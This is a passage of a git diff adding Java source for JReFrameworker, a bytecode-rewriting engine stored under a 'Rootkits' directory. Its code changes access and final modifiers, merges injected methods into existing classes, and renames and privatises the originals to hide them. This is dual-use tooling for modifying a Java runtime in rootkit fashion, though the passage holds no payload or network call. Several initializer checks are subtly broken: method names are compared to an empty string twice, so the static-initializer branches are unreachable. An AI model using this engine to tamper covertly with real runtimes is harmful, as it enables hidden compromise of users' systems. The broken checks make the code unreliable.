+ private boolean setVisibility(DefineVisibilityIdentifier defineVisibilityIdentifier, int phase) throws IOException {
+ boolean processed = false;
+ // update types
+ for(DefineTypeVisibilityAnnotation defineTypeVisibilityAnnotation : defineVisibilityIdentifier.getTargetTypes()){
+ if(phase == -1 || defineTypeVisibilityAnnotation.getPhase() == phase){
+ String className = defineTypeVisibilityAnnotation.getClassName();
+ if(className.contains("$")){
+ // deal with outer class references to inner class files first
+ String baseClassName = className.substring(0, className.lastIndexOf("$"));
+ ClassNode baseClassNode = getBytecode(baseClassName);
+ for(InnerClassNode innerClassNode : baseClassNode.innerClasses){
+ if(innerClassNode.name.equals(className)){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set outer class attributes for " + innerClassNode.name + " class to be public.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set outer class attributes for " + innerClassNode.name + " class to be protected.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set outer class attributes for " + innerClassNode.name + " class to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ }
+ }
+ updateBytecode(baseClassName, baseClassNode);
+
+ // deal with the inner class file directly
+ String innerClassName = className;
+ baseClassNode = getBytecode(innerClassName);
+ for(InnerClassNode innerClassNode : baseClassNode.innerClasses){
+ if(innerClassNode.name.equals(className)){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + innerClassNode.name + " inner class to be public.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + innerClassNode.name + " inner class to be protected.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + innerClassNode.name + " inner class to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ }
+ }
+ updateBytecode(innerClassName, baseClassNode);
+ } else {
+ // simple case no inner classes
+ ClassNode baseClassNode = getBytecode(className);
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access));
+ baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ baseClassNode.access = baseClassNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + baseClassNode.name + " class to be public.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ baseClassNode.access = baseClassNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + baseClassNode.name + " class to be protected.");
+ } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ baseClassNode.access = baseClassNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + baseClassNode.name + " class to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access));
+ updateBytecode(className, baseClassNode);
+ }
+
+ processed = true;
+ }
+ }
+ // update methods
+ for(DefineMethodVisibilityAnnotation defineMethodVisibilityAnnotation : defineVisibilityIdentifier.getTargetMethods()){
+ if(phase == -1 || defineMethodVisibilityAnnotation.getPhase() == phase){
+ String qualifiedClassName = defineMethodVisibilityAnnotation.getClassName();
+ String[] simpleClassNameParts = qualifiedClassName.split("/");
+ ClassNode baseClassNode = getBytecode(qualifiedClassName);
+ String simpleClassName = simpleClassNameParts[simpleClassNameParts.length-1];
+ if(simpleClassName.contains("$")){
+ simpleClassName = simpleClassName.substring(simpleClassName.indexOf("$")+1,simpleClassName.length());
+ }
+ for (Object o : baseClassNode.methods) {
+ MethodNode methodNode = (MethodNode) o;
+ if(defineMethodVisibilityAnnotation.getMethodName().equals(simpleClassName)){
+ if(methodNode.name.equals("")){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access));
+ methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + methodNode.name + " initializer to be public.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + methodNode.name + " initializer to be protected.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + methodNode.name + " initializer to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access));
+ } else if(methodNode.name.equals("")){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access));
+ methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + methodNode.name + " static initializer to be public.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + methodNode.name + " static initializer to be protected.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + methodNode.name + " static initializer to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access));
+ }
+ updateBytecode(qualifiedClassName, baseClassNode);
+ processed = true;
+ } else if(methodNode.name.equals(defineMethodVisibilityAnnotation.getMethodName())){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access));
+ methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + methodNode.name + " method to be public.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + methodNode.name + " method to be protected.");
+ } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + methodNode.name + " method to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access));
+ updateBytecode(qualifiedClassName, baseClassNode);
+ processed = true;
+// break; // should only be one match?
+ // TODO: is above true? need to do better signature matching I assume? for now just blast em all...
+ }
+ }
+ }
+ }
+ // update fields
+ for(DefineFieldVisibilityAnnotation defineFieldVisibilityAnnotation : defineVisibilityIdentifier.getTargetFields()){
+ if(phase == -1 || defineFieldVisibilityAnnotation.getPhase() == phase){
+ String className = defineFieldVisibilityAnnotation.getClassName();
+ ClassNode baseClassNode = getBytecode(className);
+ for (Object o : baseClassNode.fields) {
+ FieldNode fieldNode = (FieldNode) o;
+ if(fieldNode.name.equals(defineFieldVisibilityAnnotation.getFieldName())){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access));
+ fieldNode.access = fieldNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){
+ fieldNode.access = fieldNode.access | Opcodes.ACC_PUBLIC;
+ Log.info("Set " + fieldNode.name + " field to be public.");
+ } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){
+ fieldNode.access = fieldNode.access | Opcodes.ACC_PROTECTED;
+ Log.info("Set " + fieldNode.name + " field to be protected.");
+ } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){
+ fieldNode.access = fieldNode.access | Opcodes.ACC_PRIVATE;
+ Log.info("Set " + fieldNode.name + " field to be private.");
+ } else {
+ // should never happen
+ throw new RuntimeException("Missing visibility modifier");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access));
+ updateBytecode(className, baseClassNode);
+ processed = true;
+ break; // should only be one match
+ }
+ }
+ }
+ }
+ return processed;
+ }
+
+ /**
+ * Sets the finality bit for for types, methods, and fields as defined by the annotation system
+ * @param defineFinalityIdentifier
+ * @param phase
+ * @param runtimeModifications
+ * @throws IOException
+ */
+ private boolean setFinality(DefineFinalityIdentifier defineFinalityIdentifier, int phase) throws IOException {
+ boolean processed = false;
+ // update types
+ for(DefineTypeFinalityAnnotation defineTypeFinalityAnnotation : defineFinalityIdentifier.getTargetTypes()){
+ if(phase == -1 || defineTypeFinalityAnnotation.getPhase() == phase){
+ String className = defineTypeFinalityAnnotation.getClassName();
+ if(className.contains("$")){
+ // deal with outer class references to inner class files first
+ String baseClassName = className.substring(0, className.lastIndexOf("$"));
+ ClassNode baseClassNode = getBytecode(baseClassName);
+ for(InnerClassNode innerClassNode : baseClassNode.innerClasses){
+ if(innerClassNode.name.equals(className)){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ if(defineTypeFinalityAnnotation.getFinality()){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL;
+ Log.info("Set " + innerClassNode.name + " class to be final.");
+ } else {
+ innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL);
+ Log.info("Set " + innerClassNode.name + " class to be non-final.");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ }
+ }
+ updateBytecode(baseClassName, baseClassNode);
+
+ // deal with the inner class file directly
+ String innerClassName = className;
+ baseClassNode = getBytecode(innerClassName);
+ for(InnerClassNode innerClassNode : baseClassNode.innerClasses){
+ if(innerClassNode.name.equals(className)){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ if(defineTypeFinalityAnnotation.getFinality()){
+ innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL;
+ Log.info("Set " + innerClassNode.name + " class to be final.");
+ } else {
+ innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL);
+ Log.info("Set " + innerClassNode.name + " class to be non-final.");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access));
+ }
+ }
+ updateBytecode(innerClassName, baseClassNode);
+ processed = true;
+ } else {
+ // simple case no inner classes
+ ClassNode baseClassNode = getBytecode(className);
+ if(baseClassNode != null){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access));
+ if(defineTypeFinalityAnnotation.getFinality()){
+ baseClassNode.access = baseClassNode.access | Opcodes.ACC_FINAL;
+ Log.info("Set " + baseClassNode.name + " class to be final.");
+ } else {
+ baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_FINAL);
+ Log.info("Set " + baseClassNode.name + " class to be non-final.");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access));
+ updateBytecode(className, baseClassNode);
+ processed = true;
+ } else {
+ Log.warning("Could not locate base class.", new RuntimeException("Missing base class"));
+ }
+ }
+ }
+ }
+ // update methods
+ for(DefineMethodFinalityAnnotation defineMethodFinalityAnnotation : defineFinalityIdentifier.getTargetMethods()){
+ if(phase == -1 || defineMethodFinalityAnnotation.getPhase() == phase){
+ // final is not a valid modifier for initializers so no need to consider that case
+ String className = defineMethodFinalityAnnotation.getClassName();
+ ClassNode baseClassNode = getBytecode(className);
+ for (Object o : baseClassNode.methods) {
+ MethodNode methodNode = (MethodNode) o;
+ if(methodNode.name.equals(defineMethodFinalityAnnotation.getMethodName())){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access));
+ if(defineMethodFinalityAnnotation.getFinality()){
+ methodNode.access = methodNode.access | Opcodes.ACC_FINAL;
+ Log.info("Set " + methodNode.name + " method to be final.");
+ } else {
+ methodNode.access = methodNode.access & (~Opcodes.ACC_FINAL);
+ Log.info("Set " + methodNode.name + " method to be non-final.");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access));
+ updateBytecode(className, baseClassNode);
+ processed = true;
+ }
+ }
+ }
+ }
+ // update fields
+ for(DefineFieldFinalityAnnotation defineFieldFinalityAnnotation : defineFinalityIdentifier.getTargetFields()){
+ if(phase == -1 || defineFieldFinalityAnnotation.getPhase() == phase){
+ String className = defineFieldFinalityAnnotation.getClassName();
+ ClassNode baseClassNode = getBytecode(className);
+ for (Object o : baseClassNode.fields) {
+ FieldNode fieldNode = (FieldNode) o;
+ if(fieldNode.name.equals(defineFieldFinalityAnnotation.getFieldName())){
+// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access));
+ if(defineFieldFinalityAnnotation.getFinality()){
+ fieldNode.access = fieldNode.access | Opcodes.ACC_FINAL;
+ Log.info("Set " + fieldNode.name + " field to be final.");
+ } else {
+ fieldNode.access = fieldNode.access & (~Opcodes.ACC_FINAL);
+ Log.info("Set " + fieldNode.name + " field to be non-final.");
+ }
+// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access));
+ updateBytecode(className, baseClassNode);
+ processed = true;
+ break; // should only be one match
+ }
+ }
+ }
+ }
+ return processed;
+ }
+
+ public void save(File outputFile) throws IOException {
+ for(String entry : purgedEntries){
+ jarModifier.remove(entry + ".class");
+ }
+ for(Entry entry : bytecodeCache.entrySet()){
+ jarModifier.add(entry.getKey() + ".class", entry.getValue().getBytecode(), true);
+ }
+ jarModifier.save(outputFile);
+ }
+
+ private byte[] mergeClasses(byte[] baseClass, byte[] classToMerge) throws IOException {
+ // read the classes into ClassNode objects
+ ClassNode baseClassNode = BytecodeUtils.getClassNode(baseClass);
+ ClassNode classToMergeClassNode = BytecodeUtils.getClassNode(classToMerge);
+
+ // get a list of base methods conflicting with methods to merge
+ BaseMethodsIdentifier baseMethodsIdentifier = new BaseMethodsIdentifier(baseClassNode);
+ LinkedList baseMethods = baseMethodsIdentifier.getBaseMethods();
+
+ // identify methods to insert or replace
+ DefineIdentifier defineMethodsIdentifier = new DefineIdentifier(classToMergeClassNode);
+ LinkedList methodsToDefine = defineMethodsIdentifier.getDefineMethodAnnotations();
+
+ // identify methods to merge
+ MergeIdentifier mergeIdentifier = new MergeIdentifier(classToMergeClassNode);
+ LinkedList methodToMergeAnnotations = mergeIdentifier.getMergeMethodAnnotations();
+
+ // rename base methods that should be preserved
+ LinkedList renamedMethods = new LinkedList();
+ for(MergeMethodAnnotation methodToMergeAnnotation : methodToMergeAnnotations){
+ MethodNode methodToMerge = methodToMergeAnnotation.getMethodNode();
+ boolean foundTargetMethod = false;
+ for(MethodNode baseMethod : baseMethods){
+ if(methodToMerge.signature != null && baseMethod.signature != null){
+ if(methodToMerge.signature.equals(baseMethod.signature)){
+ if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){
+ renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod));
+ foundTargetMethod = true;
+ continue;
+ }
+ }
+ } else {
+ // signature was null, fall back to name and description only
+ if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){
+ renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod));
+ foundTargetMethod = true;
+ continue;
+ }
+ }
+ }
+ if(!foundTargetMethod){
+ Log.warning("Target method " + methodToMerge.desc.toString() + " does not exist! Runtime behavior may not be correct.");
+ }
+ }
+
+ // purge defined methods that were already there
+ // adapt a ClassWriter with the PurgeAdapter
+ ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+ Set methodsToPurge = new HashSet();
+ for(DefineMethodAnnotation methodToDefine : methodsToDefine){
+ methodsToPurge.add(methodToDefine.getMethodNode());
+ }
+ Set fieldsToPurge = new HashSet();
+ PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodsToPurge, fieldsToPurge);
+ ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode));
+ purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES);
+ baseClassNode = BytecodeUtils.getClassNode(classWriter.toByteArray());
+
+ // merge the classes
+ // adapt a ClassWriter with the MergeAdapter
+ // modifiedBaseClass, classToMerge -> MergeAdapter -> ClassWriter
+ classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+ MergeAdapter mergeAdapter = new MergeAdapter(classWriter, classToMergeClassNode, mergeRenamePrefix, renamedMethods);
+ ClassReader modifiedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode));
+ modifiedBaseClassReader.accept(mergeAdapter, ClassReader.EXPAND_FRAMES);
+ return classWriter.toByteArray();
+ }
+
+ private String renameMethod(MethodNode methodToRename) {
+ // first remove any annotations from renamed base methods
+ AnnotationUtils.clearMethodAnnotations(methodToRename);
+
+ // rename the method
+ String originalMethodName = methodToRename.name;
+ String renamedMethodName = mergeRenamePrefix + methodToRename.name;
+ methodToRename.name = renamedMethodName;
+
+ // make the method private to hide it from the end user
+ methodToRename.access = methodToRename.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE);
+ methodToRename.access = methodToRename.access | Opcodes.ACC_PRIVATE;
+
+ Log.info("Renamed " + originalMethodName + " to " + renamedMethodName);
+
+ return originalMethodName; // return the original name
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java
new file mode 100644
index 0000000..c1e253c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java
@@ -0,0 +1,233 @@
+package com.jreframeworker.engine;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+
+import org.objectweb.asm.ClassVisitor;
+import org.objectweb.asm.MethodVisitor;
+import org.objectweb.asm.Opcodes;
+import org.objectweb.asm.commons.RemappingMethodAdapter;
+import org.objectweb.asm.commons.SimpleRemapper;
+import org.objectweb.asm.tree.AbstractInsnNode;
+import org.objectweb.asm.tree.AnnotationNode;
+import org.objectweb.asm.tree.ClassNode;
+import org.objectweb.asm.tree.FieldInsnNode;
+import org.objectweb.asm.tree.FieldNode;
+import org.objectweb.asm.tree.FrameNode;
+import org.objectweb.asm.tree.IincInsnNode;
+import org.objectweb.asm.tree.InsnList;
+import org.objectweb.asm.tree.InsnNode;
+import org.objectweb.asm.tree.IntInsnNode;
+import org.objectweb.asm.tree.InvokeDynamicInsnNode;
+import org.objectweb.asm.tree.JumpInsnNode;
+import org.objectweb.asm.tree.LabelNode;
+import org.objectweb.asm.tree.LdcInsnNode;
+import org.objectweb.asm.tree.LineNumberNode;
+import org.objectweb.asm.tree.LookupSwitchInsnNode;
+import org.objectweb.asm.tree.MethodInsnNode;
+import org.objectweb.asm.tree.MethodNode;
+import org.objectweb.asm.tree.MultiANewArrayInsnNode;
+import org.objectweb.asm.tree.TableSwitchInsnNode;
+import org.objectweb.asm.tree.TypeInsnNode;
+import org.objectweb.asm.tree.VarInsnNode;
+
+import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier;
+import com.jreframeworker.engine.log.Log;
+import com.jreframeworker.engine.utils.AnnotationUtils;
+
+/**
+ * This class is responsible for merging two class files based on
+ * the merging strategies in the JReFrameworker framework.
+ *
+ * References: http://www.jroller.com/eu/entry/merging_class_methods_with_asm
+ *
+ * @author Ben Holland
+ */
+@SuppressWarnings("deprecation")
+public class MergeAdapter extends ClassVisitor {
+ private ClassNode classToMerge;
+ private String baseClassName;
+ private String mergeRenamePrefix;
+ private LinkedList qualifiedRenamedMethods;
+
+ public MergeAdapter(ClassVisitor baseClassVisitor, ClassNode classToMerge, String mergeReamePrefix, LinkedList qualifiedRenamedMethods) {
+ super(Opcodes.ASM5, baseClassVisitor);
+ this.classToMerge = classToMerge;
+ this.mergeRenamePrefix = mergeReamePrefix;
+ this.qualifiedRenamedMethods = qualifiedRenamedMethods;
+ }
+
+ @Override
+ public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
+ super.visit(version, access, name, signature, superName, interfaces);
+ baseClassName = name;
+ }
+
+ public void visitEnd() {
+ // copy each field of the class to merge in to the original class
+ for (Object fieldObject : classToMerge.fields) {
+ FieldNode fieldNode = (FieldNode) fieldObject;
+ // only insert the field if it is annotated
+ if(fieldNode.invisibleAnnotations != null){
+ boolean addField = false;
+ for(Object annotationObject : fieldNode.invisibleAnnotations){
+ AnnotationNode annotationNode = (AnnotationNode) annotationObject;
+ JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier();
+ checker.visitAnnotation(annotationNode.desc, false);
+ if(checker.isDefineFieldAnnotation()){
+ addField = true;
+ break;
+ }
+ }
+ if(addField){
+ // clear field annotations and insert the field
+ AnnotationUtils.clearFieldAnnotations(fieldNode);
+ fieldNode.accept(this);
+ Log.info("Added Field: " + fieldNode.name);
+ }
+ }
+ }
+
+ // copy each method of the class to merge that is annotated
+ // with a jref annotation to the original class
+ for (Object methodObject : classToMerge.methods) {
+ MethodNode methodNodeToMerge = (MethodNode) methodObject;
+
+ // static initializers need to be handled specially
+ if(methodNodeToMerge.name.equals("")){
+ // TODO: merge static initializers
+ } else if(methodNodeToMerge.name.equals("")){
+ // TODO: merge initializers
+ } else {
+ boolean define = false;
+ boolean merge = false;
+ // check if method is annotated with a jref annotation
+ LinkedList jrefAnnotations = new LinkedList();
+ if (methodNodeToMerge.invisibleAnnotations != null) {
+ for (Object annotationObject : methodNodeToMerge.invisibleAnnotations) {
+ AnnotationNode annotation = (AnnotationNode) annotationObject;
+ // check if the annotation is a jref annotation
+ JREFAnnotationIdentifier jrefChecker = new JREFAnnotationIdentifier();
+ jrefChecker.visitAnnotation(annotation.desc, false);
+ if(jrefChecker.isJREFAnnotation()){
+ jrefAnnotations.add(annotation);
+ if(jrefChecker.isDefineMethodAnnotation()){
+ define = true;
+ }
+ if(jrefChecker.isMergeMethodAnnotation()){
+ merge = true;
+ }
+ }
+ }
+ }
+
+ // if the method is annotated with @DefineMethod or @MergeMethod, add the method
+ if(define || merge){
+ // in any case, strip the jref annotations from the method
+ methodNodeToMerge.invisibleAnnotations.removeAll(jrefAnnotations);
+ if(merge){
+ mergeMethod(methodNodeToMerge, qualifiedRenamedMethods);
+ Log.info("Merged Method: " + methodNodeToMerge.name);
+ } else {
+ addMethod(methodNodeToMerge);
+ Log.info("Added Method: " + methodNodeToMerge.name);
+ }
+ }
+ }
+ }
+
+ super.visitEnd();
+ }
+
+ /**
+ * Adds the method to the base class
+ * @param methodNode
+ */
+ private void addMethod(MethodNode methodNode){
+ String[] exceptions = new String[methodNode.exceptions.size()];
+ methodNode.exceptions.toArray(exceptions);
+ MethodVisitor mv = cv.visitMethod(methodNode.access, methodNode.name, methodNode.desc, methodNode.signature, exceptions);
+
+ methodNode.instructions.resetLabels();
+ // SimpleRemapper -> maps old name to new name
+ // updates owners and descriptions appropriately
+ methodNode.accept(new RemappingMethodAdapter(methodNode.access, methodNode.desc, mv, new SimpleRemapper(classToMerge.name, baseClassName)));
+ }
+
+ /**
+ * Performs some merge changes to the method instructions then adds the method
+ * @param methodNode
+ * @param qualifiedRenamedMethods
+ */
+ @SuppressWarnings("unused")
+ private void mergeMethod(MethodNode methodNode, LinkedList qualifiedRenamedMethods) {
+ // clean up method instructions
+ InsnList instructions = methodNode.instructions;
+ Iterator instructionIterator = instructions.iterator();
+ while (instructionIterator.hasNext()) {
+ AbstractInsnNode abstractInstruction = instructionIterator.next();
+ if (abstractInstruction instanceof FieldInsnNode) {
+ FieldInsnNode instruction = (FieldInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof FrameNode) {
+ FrameNode instruction = (FrameNode) abstractInstruction;
+ } else if (abstractInstruction instanceof IincInsnNode) {
+ IincInsnNode instruction = (IincInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof InsnNode) {
+ InsnNode instruction = (InsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof IntInsnNode) {
+ IntInsnNode instruction = (IntInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof InvokeDynamicInsnNode) {
+ InvokeDynamicInsnNode instruction = (InvokeDynamicInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof JumpInsnNode) {
+ JumpInsnNode instruction = (JumpInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof LabelNode) {
+ LabelNode instruction = (LabelNode) abstractInstruction;
+ } else if (abstractInstruction instanceof LdcInsnNode) {
+ LdcInsnNode instruction = (LdcInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof LineNumberNode) {
+ LineNumberNode instruction = (LineNumberNode) abstractInstruction;
+ } else if (abstractInstruction instanceof LookupSwitchInsnNode) {
+ LookupSwitchInsnNode instruction = (LookupSwitchInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof MethodInsnNode) {
+ MethodInsnNode instruction = (MethodInsnNode) abstractInstruction;
+ // check if the method call needs to be changed to a renamed method name
+ // replace calls to super.x methods with prefix+x calls in the class to merge
+ // TODO: should check more than just the name, need to check whole method signature
+ for (String renamedMethod : qualifiedRenamedMethods) {
+ String qualifiedMethodName = instruction.owner + "." + instruction.name;
+ if ((qualifiedMethodName).equals(renamedMethod)) {
+ // this method has been renamed, we need to rename the call as well
+ instruction.name = mergeRenamePrefix + instruction.name;
+
+ // if the renamed method was a special invocation then we were
+ // calling the preserved method using super.foo(), so we need
+ // to make it a virtual invocation instead of special invocation
+ if (instruction.getOpcode() == Opcodes.INVOKESPECIAL) {
+ instruction.setOpcode(Opcodes.INVOKEVIRTUAL);
+ }
+ }
+
+ // if the renamed method was a static invocation
+ // and the static invocation is to the class being merged in
+ // then we are calling the new static method so we need to change the owner
+ if (instruction.getOpcode() == Opcodes.INVOKESTATIC) {
+ if(classToMerge.name.equals(instruction.owner) && instruction.name.equals(renamedMethod)){
+ instruction.owner = baseClassName;
+ }
+ }
+ }
+ } else if (abstractInstruction instanceof MultiANewArrayInsnNode) {
+ MultiANewArrayInsnNode instruction = (MultiANewArrayInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof TableSwitchInsnNode) {
+ TableSwitchInsnNode instruction = (TableSwitchInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof TypeInsnNode) {
+ TypeInsnNode instruction = (TypeInsnNode) abstractInstruction;
+ } else if (abstractInstruction instanceof VarInsnNode) {
+ VarInsnNode instruction = (VarInsnNode) abstractInstruction;
+ }
+ }
+
+ // finally insert the method
+ addMethod(methodNode);
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java
new file mode 100644
index 0000000..c9f9351
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java
@@ -0,0 +1,111 @@
+package com.jreframeworker.engine;
+
+import java.util.HashSet;
+import java.util.Set;
+
+import org.objectweb.asm.ClassVisitor;
+import org.objectweb.asm.FieldVisitor;
+import org.objectweb.asm.MethodVisitor;
+import org.objectweb.asm.Opcodes;
+import org.objectweb.asm.tree.FieldNode;
+import org.objectweb.asm.tree.MethodNode;
+
+import com.jreframeworker.engine.log.Log;
+
+/**
+ * This class is responsible for purging methods and fields from a class
+ *
+ * Reference: http://asm.ow2.org/doc/faq.html#Q1
+ *
+ * @author Ben Holland
+ */
+public class PurgeAdapter extends ClassVisitor {
+
+ private Set